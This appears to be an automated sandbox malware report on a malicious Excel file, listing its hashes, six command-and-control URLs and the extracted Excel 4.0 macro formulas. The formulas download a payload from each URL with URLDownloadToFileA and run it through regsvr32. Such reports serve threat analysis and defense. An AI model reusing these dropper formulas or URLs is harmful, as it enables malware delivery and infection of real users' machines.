General

  • Target

    8fc638fb4ed752cddfef675fe0bfe4d4f8cab13d3c78ef905f4cea1beb49c8e1

  • Size

    46KB

  • Sample

    241119-nfjmssvepc

  • MD5

    ba0a7ea3d915f993337be075371e4cb5

  • SHA1

    0729ded134149a402fa558ced8579f866d461623

  • SHA256

    8fc638fb4ed752cddfef675fe0bfe4d4f8cab13d3c78ef905f4cea1beb49c8e1

  • SHA512

    cabc32d261ffb5769fc3eca73a076ee0bfdba8da509cd99ca60f287f8ba5662c1ff5a248d2dc57478e7a13dd5fe994f948e741c45ebd292d2199922178489b91

  • SSDEEP

    768:rf4oTBvDOevZCwrvtjizdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2Vy0:D4olvDetT5fTR4Lh1NisFYBc3cr+UqV3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://patriciamirapsicologa.com/wp-includes/UfQQtX1LEVwNJPCx/

https://gavalisamajsevasangh.com/abcd-trey/q4hH2T12X/

https://yatrataxi.com/folwu/LC5yH9Ai0l/

https://thelastpeopleonearth-dayz.com/wp-content/V2mmGey/

https://isedonus.com/lazia/IOmyK2rgX6cTjAVOy/

https://dolphinwavehavuzrobotu.com/wp-includes/RRrXm7crZ5WXmRum/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://patriciamirapsicologa.com/wp-includes/UfQQtX1LEVwNJPCx/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://gavalisamajsevasangh.com/abcd-trey/q4hH2T12X/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://yatrataxi.com/folwu/LC5yH9Ai0l/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thelastpeopleonearth-dayz.com/wp-content/V2mmGey/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://isedonus.com/lazia/IOmyK2rgX6cTjAVOy/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://dolphinwavehavuzrobotu.com/wp-includes/RRrXm7crZ5WXmRum/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://patriciamirapsicologa.com/wp-includes/UfQQtX1LEVwNJPCx/

xlm40.dropper

https://gavalisamajsevasangh.com/abcd-trey/q4hH2T12X/

xlm40.dropper

https://yatrataxi.com/folwu/LC5yH9Ai0l/

xlm40.dropper

https://thelastpeopleonearth-dayz.com/wp-content/V2mmGey/

Targets

    • Target

      8fc638fb4ed752cddfef675fe0bfe4d4f8cab13d3c78ef905f4cea1beb49c8e1

    • Size

      46KB

    • MD5

      ba0a7ea3d915f993337be075371e4cb5

    • SHA1

      0729ded134149a402fa558ced8579f866d461623

    • SHA256

      8fc638fb4ed752cddfef675fe0bfe4d4f8cab13d3c78ef905f4cea1beb49c8e1

    • SHA512

      cabc32d261ffb5769fc3eca73a076ee0bfdba8da509cd99ca60f287f8ba5662c1ff5a248d2dc57478e7a13dd5fe994f948e741c45ebd292d2199922178489b91

    • SSDEEP

      768:rf4oTBvDOevZCwrvtjizdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2Vy0:D4olvDetT5fTR4Lh1NisFYBc3cr+UqV3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks